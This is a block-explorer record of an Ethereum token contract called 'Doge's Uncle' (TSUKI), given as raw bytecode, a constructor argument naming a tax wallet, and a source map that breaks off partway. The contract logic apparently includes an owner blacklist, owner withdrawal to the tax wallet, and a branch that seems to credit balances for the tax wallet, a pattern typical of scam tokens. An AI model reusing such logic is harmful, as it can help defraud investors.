0x60806040526004361061016a5760003560e01c806370a08231116100d157806395d89b411161008a578063d46b6a3011610064578063d46b6a301461043a578063dd62ed3e1461046a578063f2fde38b146104b0578063f4ef1f42146104d057600080fd5b806395d89b41146103d6578063a9059cbb14610404578063bf474bed1461042457600080fd5b806370a082311461032c578063715018a61461036257806374524afb146103775780637d1db4a51461038c5780638da5cb5b146103a25780638f9a55c0146103c057600080fd5b80631cdd3be3116101235780631cdd3be31461025357806323b872dd14610283578063313ce567146102a357806349bd5a5e146102bf5780634a49ac4c146102f7578063622565891461031757600080fd5b80630150fe4c1461017657806306fdde031461018d578063095ea7b3146101d45780630e12062d146102045780630faee56f1461022857806318160ddd1461023e57600080fd5b3661017157005b600080fd5b34801561018257600080fd5b5061018b6104ea565b005b34801561019957600080fd5b5060408051808201909152600c81526b446f6765277320556e636c6560a01b60208201525b6040516101cb91906119a0565b60405180910390f35b3480156101e057600080fd5b506101f46101ef366004611a04565b610559565b60405190151581526020016101cb565b34801561021057600080fd5b5061021a60165481565b6040519081526020016101cb565b34801561023457600080fd5b5061021a60155481565b34801561024a57600080fd5b5061021a610570565b34801561025f57600080fd5b506101f461026e366004611a30565b60056020526000908152604090205460ff1681565b34801561028f57600080fd5b506101f461029e366004611a4d565b610591565b3480156102af57600080fd5b50604051600981526020016101cb565b3480156102cb57600080fd5b506018546102df906001600160a01b031681565b6040516001600160a01b0390911681526020016101cb565b34801561030357600080fd5b5061018b610312366004611a30565b6105fa565b34801561032357600080fd5b5061018b610645565b34801561033857600080fd5b5061021a610347366004611a30565b6001600160a01b031660009081526001602052604090205490565b34801561036e57600080fd5b5061018b6106f8565b34801561038357600080fd5b5061018b61076c565b34801561039857600080fd5b5061021a60125481565b3480156103ae57600080fd5b506000546001600160a01b03166102df565b3480156103cc57600080fd5b5061021a60135481565b3480156103e257600080fd5b506040805180820190915260058152645453554b4960d81b60208201526101be565b34801561041057600080fd5b506101f461041f366004611a04565b610bb3565b34801561043057600080fd5b5061021a60145481565b34801561044657600080fd5b506101f4610455366004611a30565b60046020526000908152604090205460ff1681565b34801561047657600080fd5b5061021a610485366004611a8e565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b3480156104bc57600080fd5b5061018b6104cb366004611a30565b610bc0565b3480156104dc57600080fd5b506017546101f49060ff1681565b6000546001600160a01b0316331461051d5760405162461bcd60e51b815260040161051490611ac7565b60405180910390fd5b6006546040516001600160a01b03909116904780156108fc02916000818181858888f19350505050158015610556573d6000803e3d6000fd5b50565b6000610566338484610caa565b5060015b92915050565b600061057e6009600a611bf6565b61058c906305f5e100611c05565b905090565b600061059e848484610dce565b6105f084336105eb85604051806060016040528060288152602001611d74602891396001600160a01b038a16600090815260026020908152604080832033845290915290205491906115d5565b610caa565b5060019392505050565b6000546001600160a01b031633146106245760405162461bcd60e51b815260040161051490611ac7565b6001600160a01b03166000908152600560205260409020805460ff19169055565b6000546001600160a01b0316331461066f5760405162461bcd60e51b815260040161051490611ac7565b61067b6009600a611bf6565b610689906305f5e100611c05565b6012556106986009600a611bf6565b6106a6906305f5e100611c05565b6013557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6106d66009600a611bf6565b6106e4906305f5e100611c05565b6040519081526020015b60405180910390a1565b6000546001600160a01b031633146107225760405162461bcd60e51b815260040161051490611ac7565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146107965760405162461bcd60e51b815260040161051490611ac7565b601854600160a01b900460ff16156107f05760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610514565b60178054610100600160a81b031916747a250d5630b4cf539739df2c5dacb4c659f2488d0017908190556108499030906001600160a01b036101009091041661083b6009600a611bf6565b6105eb906305f5e100611c05565b601760019054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561089c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108c09190611c1c565b6001600160a01b031663c9c6539630601760019054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610922573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109469190611c1c565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610993573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109b79190611c1c565b601880546001600160a01b039283166001600160a01b031990911681179091556000908152600360205260409020805460ff1916600117905560175461010090041663f305d7194730610a1f816001600160a01b031660009081526001602052604090205490565b600080610a346000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610a9c573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610ac19190611c39565b505060185460175460405163095ea7b360e01b81526001600160a01b036101009092048216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610b1f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b439190611c67565b5060046016556018805462ff00ff60a01b19166201000160a01b1790819055436007556040805160ff600160a01b8404811615158252600160b01b909304909216151560208301527f029ed388f3dd39b342f312d7b12cba9e3065871bf0fb668cc5457f217b15dd7c91016106ee565b6000610566338484610dce565b6000546001600160a01b03163314610bea5760405162461bcd60e51b815260040161051490611ac7565b6001600160a01b038116610c4f5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610514565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610d0c5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610514565b6001600160a01b038216610d6d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610514565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831660009081526005602052604090205460ff16158015610e1057506001600160a01b03821660009081526005602052604090205460ff16155b610e6a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a20546f2f66726f6d206164647265737320697320626c61636b6c6044820152641a5cdd195960da1b6064820152608401610514565b6001600160a01b038316610ece5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610514565b6001600160a01b038216610f305760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610514565b60008111610f925760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610514565b600080546001600160a01b03858116911614801590610fbf57506000546001600160a01b03848116911614155b1561149257610ff06064610fea600c54600f5411610fdf57600854610fe3565b600a545b859061160f565b90611698565b6018549091506001600160a01b03858116911614801561102357506017546001600160a01b038481166101009092041614155b801561104857506001600160a01b03831660009081526003602052604090205460ff16155b156111525760125482111561109f5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610514565b601354826110c2856001600160a01b031660009081526001602052604090205490565b6110cc9190611c89565b111561111a5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610514565b43600754600361112a9190611c89565b111561113c57823b1561113c57600080fd5b600f805490600061114c83611c9c565b91905055505b6018546001600160a01b0384811691161480159061118957506001600160a01b03831660009081526003602052604090205460ff16155b1561120957601354826111b1856001600160a01b031660009081526001602052604090205490565b6111bb9190611c89565b11156112095760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610514565b6018546001600160a01b03848116911614801561122f57506001600160a01b0384163014155b156112af576006546001600160a01b0390811690851603611287576001600160a01b03831660009081526001602052604090205461126d90836116da565b6001600160a01b0385166000908152600160205260409020555b6112ac6064610fea600d54600f54116112a257600954610fe3565b600b54859061160f565b90505b6018546001600160a01b038581169116148015906112db57506018546001600160a01b03848116911614155b80156112f057506001600160a01b0384163014155b156112f9575060005b3060009081526001602052604090205460175460ff1680156113255750601854600160a81b900460ff16155b801561133e57506018546001600160a01b038581169116145b80156113535750601854600160b01b900460ff165b801561136157506014548110155b80156113705750600e54600f54115b1561140e576011544311156113855760006010555b601654601054106113ca5760405162461bcd60e51b815260206004820152600f60248201526e10d04818985b185b98d9481cd95b1b608a1b6044820152606401610514565b6113e76113e2846113dd84601554611739565b611739565b61174e565b6113f0476118f2565b6010805490600061140083611c9c565b909155505043601155611490565b601854600160a81b900460ff1615801561143557506018546001600160a01b038581169116145b801561144a5750601854600160b01b900460ff165b8015611457575060145481115b80156114665750600e54600f54115b156114905761147e6113e2846113dd84601554611739565b47801561148e5761148e476118f2565b505b505b801561150c57306000908152600160205260409020546114b290826116da565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906115039085815260200190565b60405180910390a35b6001600160a01b03841660009081526001602052604090205461152f9083611930565b6001600160a01b0385166000908152600160205260409020556115746115558383611930565b6001600160a01b038516600090815260016020526040902054906116da565b6001600160a01b0380851660008181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6115be8585611930565b60405190815260200160405180910390a350505050565b600081848411156115f95760405162461bcd60e51b815260040161051491906119a0565b5060006116068486611cb5565b95945050505050565b6000826000036116215750600061056a565b600061162d8385611c05565b90508261163a8583611cc8565b146116915760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610514565b9392505050565b600061169183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611972565b6000806116e78385611c89565b9050838110156116915760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610514565b60008183116117485782611691565b50919050565b6018805460ff60a81b1916600160a81b17905580156118e257604080516002808252606082018352600092602083019080368337019050509050308160008151811061179c5761179c611cea565b60200260200101906001600160a01b031690816001600160a01b031681525050601760019054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561180f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118339190611c1c565b8160018151811061184657611846611cea565b6001600160a01b03928316602091820292909201015260175461187191309161010090041684610caa565b60175460405163791ac94760e01b81526101009091046001600160a01b03169063791ac947906118ae908590600090869030904290600401611d00565b600060405180830381600087803b1580156118c857600080fd5b505af11580156118dc573d6000803e3d6000fd5b50505050505b506018805460ff60a81b19169055565b6006546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561192c573d6000803e3d6000fd5b5050565b600061169183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506115d5565b600081836119935760405162461bcd60e51b815260040161051491906119a0565b5060006116068486611cc8565b60006020808352835180602085015260005b818110156119ce578581018301518582016040015282016119b2565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461055657600080fd5b60008060408385031215611a1757600080fd5b8235611a22816119ef565b946020939093013593505050565b600060208284031215611a4257600080fd5b8135611691816119ef565b600080600060608486031215611a6257600080fd5b8335611a6d816119ef565b92506020840135611a7d816119ef565b929592945050506040919091013590565b60008060408385031215611aa157600080fd5b8235611aac816119ef565b91506020830135611abc816119ef565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115611b4d578160001904821115611b3357611b33611afc565b80851615611b4057918102915b93841c9390800290611b17565b509250929050565b600082611b645750600161056a565b81611b715750600061056a565b8160018114611b875760028114611b9157611bad565b600191505061056a565b60ff841115611ba257611ba2611afc565b50506001821b61056a565b5060208310610133831016604e8410600b8410161715611bd0575081810a61056a565b611bda8383611b12565b8060001904821115611bee57611bee611afc565b029392505050565b600061169160ff841683611b55565b808202811582820484141761056a5761056a611afc565b600060208284031215611c2e57600080fd5b8151611691816119ef565b600080600060608486031215611c4e57600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611c7957600080fd5b8151801515811461169157600080fd5b8082018082111561056a5761056a611afc565b600060018201611cae57611cae611afc565b5060010190565b8181038181111561056a5761056a611afc565b600082611ce557634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a08201878352602087602085015260a0604085015281875180845260c08601915060208901935060005b81811015611d525784516001600160a01b031683529383019391830191600101611d2d565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220a19055248795ba76e468409894572de24f97a3aee58359b9766cc677a078c51964736f6c63430008190033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
000000000000000000000000870693e5fb44dccbff05e2ee1154f7d91cdf3204
-----Decoded View---------------
Arg [0] : taxWallet (address): 0x870693E5fb44Dccbff05e2ee1154f7d91cdF3204
-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 000000000000000000000000870693e5fb44dccbff05e2ee1154f7d91cdf3204
Deployed Bytecode Sourcemap
4207:10374:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;14463:115;;;;;;;;;;;;;:::i;:::-;;6402:83;;;;;;;;;;-1:-1:-1;6472:5:0;;;;;;;;;;;;-1:-1:-1;;;6472:5:0;;;;6402:83;;;;;;;:::i;:::-;;;;;;;;7285:186;;;;;;;;;;-1:-1:-1;7285:186:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;7285:186:0;1023:187:1;5531:26:0;;;;;;;;;;;;;;;;;;;1361:25:1;;;1349:2;1334:18;5531:26:0;1215:177:1;5468:54:0;;;;;;;;;;;;;;;;6679:95;;;;;;;;;;;;;:::i;4518:46::-;;;;;;;;;;-1:-1:-1;4518:46:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;7479:446;;;;;;;;;;-1:-1:-1;7479:446:0;;;;;:::i;:::-;;:::i;6588:83::-;;;;;;;;;;-1:-1:-1;6588:83:0;;5204:1;2252:36:1;;2240:2;2225:18;6588:83:0;2110:184:1;5650:28:0;;;;;;;;;;-1:-1:-1;5650:28:0;;;;-1:-1:-1;;;;;5650:28:0;;;;;;-1:-1:-1;;;;;2463:32:1;;;2445:51;;2433:2;2418:18;5650:28:0;2299:203:1;8276:115:0;;;;;;;;;;-1:-1:-1;8276:115:0;;;;;:::i;:::-;;:::i;13160:161::-;;;;;;;;;;;;;:::i;6782:119::-;;;;;;;;;;-1:-1:-1;6782:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6875:18:0;6848:7;6875:18;;;:9;:18;;;;;;;6782:119;2949:148;;;;;;;;;;;;;:::i;13429:989::-;;;;;;;;;;;;;:::i;5281:55::-;;;;;;;;;;;;;;;;2735:79;;;;;;;;;;-1:-1:-1;2773:7:0;2800:6;-1:-1:-1;;;;;2800:6:0;2735:79;;5343:57;;;;;;;;;;;;;;;;6493:87;;;;;;;;;;-1:-1:-1;6565:7:0;;;;;;;;;;;;-1:-1:-1;;;6565:7:0;;;;6493:87;;6909:192;;;;;;;;;;-1:-1:-1;6909:192:0;;;;;:::i;:::-;;:::i;5407:54::-;;;;;;;;;;;;;;;;4474:37;;;;;;;;;;-1:-1:-1;4474:37:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;7109:168;;;;;;;;;;-1:-1:-1;7109:168:0;;;;;:::i;:::-;-1:-1:-1;;;;;7242:18:0;;;7215:7;7242:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;7109:168;3105:281;;;;;;;;;;-1:-1:-1;3105:281:0;;;;;:::i;:::-;;:::i;5564:28::-;;;;;;;;;;-1:-1:-1;5564:28:0;;;;;;;;14463:115;2862:6;;-1:-1:-1;;;;;2862:6:0;362:10;2862:22;2854:67;;;;-1:-1:-1;;;2854:67:0;;;;;;;:::i;:::-;;;;;;;;;14527:10:::1;::::0;14519:51:::1;::::0;-1:-1:-1;;;;;14527:10:0;;::::1;::::0;14548:21:::1;14519:51:::0;::::1;;;::::0;14527:10:::1;14519:51:::0;14527:10;14519:51;14548:21;14527:10;14519:51;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;14463:115::o:0;7285:186::-;7385:4;7402:39;362:10;7425:7;7434:6;7402:8;:39::i;:::-;-1:-1:-1;7459:4:0;7285:186;;;;;:::o;6679:95::-;6732:7;5259:15;5204:1;5259:2;:15;:::i;:::-;5247:27;;:9;:27;:::i;:::-;6752:14;;6679:95;:::o;7479:446::-;7611:4;7628:36;7638:6;7646:9;7657:6;7628:9;:36::i;:::-;7675:220;7698:6;362:10;7746:138;7802:6;7746:138;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7746:19:0;;;;;;:11;:19;;;;;;;;362:10;7746:33;;;;;;;;;;:37;:138::i;:::-;7675:8;:220::i;:::-;-1:-1:-1;7913:4:0;7479:446;;;;;:::o;8276:115::-;2862:6;;-1:-1:-1;;;;;2862:6:0;362:10;2862:22;2854:67;;;;-1:-1:-1;;;2854:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;8352:23:0::1;8378:5;8352:23:::0;;;:14:::1;:23;::::0;;;;:31;;-1:-1:-1;;8352:31:0::1;::::0;;8276:115::o;13160:161::-;2862:6;;-1:-1:-1;;;;;2862:6:0;362:10;2862:22;2854:67;;;;-1:-1:-1;;;2854:67:0;;;;;;;:::i;:::-;5259:15:::1;5204:1;5259:2;:15;:::i;:::-;5247:27;::::0;:9:::1;:27;:::i;:::-;13213:12;:22:::0;5259:15:::1;5204:1;5259:2;:15;:::i;:::-;5247:27;::::0;:9:::1;:27;:::i;:::-;13246:14;:24:::0;13286:27:::1;5259:15;5204:1;5259:2;:15;:::i;:::-;5247:27;::::0;:9:::1;:27;:::i;:::-;13286;::::0;1361:25:1;;;1349:2;1334:18;13286:27:0::1;;;;;;;;13160:161::o:0;2949:148::-;2862:6;;-1:-1:-1;;;;;2862:6:0;362:10;2862:22;2854:67;;;;-1:-1:-1;;;2854:67:0;;;;;;;:::i;:::-;3056:1:::1;3040:6:::0;;3019:40:::1;::::0;-1:-1:-1;;;;;3040:6:0;;::::1;::::0;3019:40:::1;::::0;3056:1;;3019:40:::1;3087:1;3070:19:::0;;-1:-1:-1;;;;;;3070:19:0::1;::::0;;2949:148::o;13429:989::-;2862:6;;-1:-1:-1;;;;;2862:6:0;362:10;2862:22;2854:67;;;;-1:-1:-1;;;2854:67:0;;;;;;;:::i;:::-;13489:11:::1;::::0;-1:-1:-1;;;13489:11:0;::::1;;;13488:12;13480:48;;;::::0;-1:-1:-1;;;13480:48:0;;5145:2:1;13480:48:0::1;::::0;::::1;5127:21:1::0;5184:2;5164:18;;;5157:30;5223:25;5203:18;;;5196:53;5266:18;;13480:48:0::1;4943:347:1::0;13480:48:0::1;13539:15;:104:::0;;-1:-1:-1;;;;;;13539:104:0::1;::::0;::::1;::::0;;;;13654:58:::1;::::0;13671:4:::1;::::0;-1:-1:-1;;;;;13539:104:0::1;13686:15:::0;;::::1;;5259;5204:1;5259:2;:15;:::i;:::-;5247:27;::::0;:9:::1;:27;:::i;13654:58::-;13757:15;;;;;;;;;-1:-1:-1::0;;;;;13757:15:0::1;-1:-1:-1::0;;;;;13757:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;13739:55:0::1;;13817:4;13837:15;;;;;;;;;-1:-1:-1::0;;;;;13837:15:0::1;-1:-1:-1::0;;;;;13837:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13739:131;::::0;-1:-1:-1;;;;;;13739:131:0::1;::::0;;;;;;-1:-1:-1;;;;;5781:15:1;;;13739:131:0::1;::::0;::::1;5763:34:1::0;5833:15;;5813:18;;;5806:43;5698:18;;13739:131:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13723:13;:147:::0;;-1:-1:-1;;;;;13723:147:0;;::::1;-1:-1:-1::0;;;;;;13723:147:0;;::::1;::::0;::::1;::::0;;;:13:::1;13881:42:::0;;;:18:::1;:42;::::0;;;;:49;;-1:-1:-1;;13881:49:0::1;13723:147:::0;13881:49:::1;::::0;;13941:15:::1;::::0;13723:147:::1;13941:15:::0;::::1;;:31;13980:21;14025:4;14045:24;14025:4:::0;-1:-1:-1;;;;;6875:18:0;6848:7;6875:18;;;:9;:18;;;;;;;6782:119;14045:24:::1;14084:1;14100::::0;14116:7:::1;2773::::0;2800:6;-1:-1:-1;;;;;2800:6:0;;2735:79;14116:7:::1;13941:223;::::0;::::1;::::0;;;-1:-1:-1;;;;;;13941:223:0;;;-1:-1:-1;;;;;6219:15:1;;;13941:223:0::1;::::0;::::1;6201:34:1::0;6251:18;;;6244:34;;;;6294:18;;;6287:34;;;;6337:18;;;6330:34;6401:15;;;6380:19;;;6373:44;14138:15:0::1;6433:19:1::0;;;6426:35;6135:19;;13941:223:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;14182:13:0::1;::::0;14213:15:::1;::::0;14175:71:::1;::::0;-1:-1:-1;;;14175:71:0;;-1:-1:-1;;;;;14182:13:0::1;14213:15:::0;;::::1;::::0;::::1;14175:71;::::0;::::1;6957:51:1::0;-1:-1:-1;;7024:18:1;;;7017:34;14182:13:0;::::1;::::0;-1:-1:-1;14175:29:0::1;::::0;6930:18:1;;14175:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;14267:1:0::1;14257:7;:11:::0;14279::::1;:18:::0;;-1:-1:-1;;;;14308:18:0;-1:-1:-1;;;14308:18:0;;;;;14350:12:::1;14337:10;:25:::0;14378:32:::1;::::0;;14279:18:::1;-1:-1:-1::0;;;14385:11:0;::::1;::::0;::::1;7531:14:1::0;7524:22;7506:41;;-1:-1:-1;;;14398:11:0;;::::1;::::0;;::::1;7590:14:1::0;7583:22;7578:2;7563:18;;7556:50;14378:32:0::1;::::0;7479:18:1;14378:32:0::1;7344:268:1::0;6909:192:0;7012:4;7029:42;362:10;7053:9;7064:6;7029:9;:42::i;3105:281::-;2862:6;;-1:-1:-1;;;;;2862:6:0;362:10;2862:22;2854:67;;;;-1:-1:-1;;;2854:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;3208:22:0;::::1;3186:110;;;::::0;-1:-1:-1;;;3186:110:0;;7819:2:1;3186:110:0::1;::::0;::::1;7801:21:1::0;7858:2;7838:18;;;7831:30;7897:34;7877:18;;;7870:62;-1:-1:-1;;;7948:18:1;;;7941:36;7994:19;;3186:110:0::1;7617:402:1::0;3186:110:0::1;3333:6;::::0;;3312:38:::1;::::0;-1:-1:-1;;;;;3312:38:0;;::::1;::::0;3333:6;::::1;::::0;3312:38:::1;::::0;::::1;3361:6;:17:::0;;-1:-1:-1;;;;;;3361:17:0::1;-1:-1:-1::0;;;;;3361:17:0;;;::::1;::::0;;;::::1;::::0;;3105:281::o;7933:335::-;-1:-1:-1;;;;;8026:19:0;;8018:68;;;;-1:-1:-1;;;8018:68:0;;8226:2:1;8018:68:0;;;8208:21:1;8265:2;8245:18;;;8238:30;8304:34;8284:18;;;8277:62;-1:-1:-1;;;8355:18:1;;;8348:34;8399:19;;8018:68:0;8024:400:1;8018:68:0;-1:-1:-1;;;;;8105:21:0;;8097:68;;;;-1:-1:-1;;;8097:68:0;;8631:2:1;8097:68:0;;;8613:21:1;8670:2;8650:18;;;8643:30;8709:34;8689:18;;;8682:62;-1:-1:-1;;;8760:18:1;;;8753:32;8802:19;;8097:68:0;8429:398:1;8097:68:0;-1:-1:-1;;;;;8176:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;8228:32;;1361:25:1;;;8228:32:0;;1334:18:1;8228:32:0;;;;;;;7933:335;;;:::o;8399:3905::-;-1:-1:-1;;;;;8502:20:0;;;;;;:14;:20;;;;;;;;8501:21;:44;;;;-1:-1:-1;;;;;;8527:18:0;;;;;;:14;:18;;;;;;;;8526:19;8501:44;8479:131;;;;-1:-1:-1;;;8479:131:0;;9034:2:1;8479:131:0;;;9016:21:1;9073:2;9053:18;;;9046:30;9112:34;9092:18;;;9085:62;-1:-1:-1;;;9163:18:1;;;9156:35;9208:19;;8479:131:0;8832:401:1;8479:131:0;-1:-1:-1;;;;;8629:18:0;;8621:68;;;;-1:-1:-1;;;8621:68:0;;9440:2:1;8621:68:0;;;9422:21:1;9479:2;9459:18;;;9452:30;9518:34;9498:18;;;9491:62;-1:-1:-1;;;9569:18:1;;;9562:35;9614:19;;8621:68:0;9238:401:1;8621:68:0;-1:-1:-1;;;;;8708:16:0;;8700:64;;;;-1:-1:-1;;;8700:64:0;;9846:2:1;8700:64:0;;;9828:21:1;9885:2;9865:18;;;9858:30;9924:34;9904:18;;;9897:62;-1:-1:-1;;;9975:18:1;;;9968:33;10018:19;;8700:64:0;9644:399:1;8700:64:0;8792:1;8783:6;:10;8775:64;;;;-1:-1:-1;;;8775:64:0;;10250:2:1;8775:64:0;;;10232:21:1;10289:2;10269:18;;;10262:30;10328:34;10308:18;;;10301:62;-1:-1:-1;;;10379:18:1;;;10372:39;10428:19;;8775:64:0;10048:405:1;8775:64:0;8852:17;2800:6;;-1:-1:-1;;;;;8890:15:0;;;2800:6;;8890:15;;;;:32;;-1:-1:-1;2773:7:0;2800:6;-1:-1:-1;;;;;8909:13:0;;;2800:6;;8909:13;;8890:32;8886:3047;;;8951:208;9155:3;8951:181;9015:15;;9003:9;;:27;9002:111;;9099:14;;9002:111;;;9059:12;;9002:111;8951:6;;:28;:181::i;:::-;:203;;:208::i;:::-;9204:13;;8939:220;;-1:-1:-1;;;;;;9196:21:0;;;9204:13;;9196:21;:72;;;;-1:-1:-1;9252:15:0;;-1:-1:-1;;;;;9238:30:0;;;9252:15;;;;;9238:30;;9196:72;:116;;;;-1:-1:-1;;;;;;9290:22:0;;;;;;:18;:22;;;;;;;;9289:23;9196:116;9174:560;;;9365:12;;9355:6;:22;;9347:60;;;;-1:-1:-1;;;9347:60:0;;10660:2:1;9347:60:0;;;10642:21:1;10699:2;10679:18;;;10672:30;10738:27;10718:18;;;10711:55;10783:18;;9347:60:0;10458:349:1;9347:60:0;9482:14;;9472:6;9456:13;9466:2;-1:-1:-1;;;;;6875:18:0;6848:7;6875:18;;;:9;:18;;;;;;;6782:119;9456:13;:22;;;;:::i;:::-;:40;;9426:140;;;;-1:-1:-1;;;9426:140:0;;11144:2:1;9426:140:0;;;11126:21:1;11183:2;11163:18;;;11156:30;11222:28;11202:18;;;11195:56;11268:18;;9426:140:0;10942:350:1;9426:140:0;9608:12;9591:10;;9604:1;9591:14;;;;:::i;:::-;:29;9587:102;;;12558:20;;12606:8;9645:24;;;;;;9707:9;:11;;;:9;:11;;;:::i;:::-;;;;;;9174:560;9760:13;;-1:-1:-1;;;;;9754:19:0;;;9760:13;;9754:19;;;;:46;;-1:-1:-1;;;;;;9778:22:0;;;;;;:18;:22;;;;;;;;9777:23;9754:46;9750:227;;;9877:14;;9867:6;9851:13;9861:2;-1:-1:-1;;;;;6875:18:0;6848:7;6875:18;;;:9;:18;;;;;;;6782:119;9851:13;:22;;;;:::i;:::-;:40;;9821:140;;;;-1:-1:-1;;;9821:140:0;;11144:2:1;9821:140:0;;;11126:21:1;11183:2;11163:18;;;11156:30;11222:28;11202:18;;;11195:56;11268:18;;9821:140:0;10942:350:1;9821:140:0;10003:13;;-1:-1:-1;;;;;9997:19:0;;;10003:13;;9997:19;:44;;;;-1:-1:-1;;;;;;10020:21:0;;10036:4;10020:21;;9997:44;9993:418;;;10074:10;;-1:-1:-1;;;;;10074:10:0;;;10066:18;;;;10062:67;;-1:-1:-1;;;;;10104:13:0;;;;;;:9;:13;;;;;;:25;;10122:6;10104:17;:25::i;:::-;-1:-1:-1;;;;;10086:15:0;;;;;;:9;:15;;;;;:43;10062:67;10160:235;10391:3;10160:204;10232:16;;10220:9;;:28;10219:122;;10326:15;;10219:122;;;10281:13;;10160:6;;:32;:204::i;:235::-;10148:247;;9993:418;10439:13;;-1:-1:-1;;;;;10431:21:0;;;10439:13;;10431:21;;;;:44;;-1:-1:-1;10462:13:0;;-1:-1:-1;;;;;10456:19:0;;;10462:13;;10456:19;;10431:44;:69;;;;-1:-1:-1;;;;;;10479:21:0;;10495:4;10479:21;;10431:69;10427:123;;;-1:-1:-1;1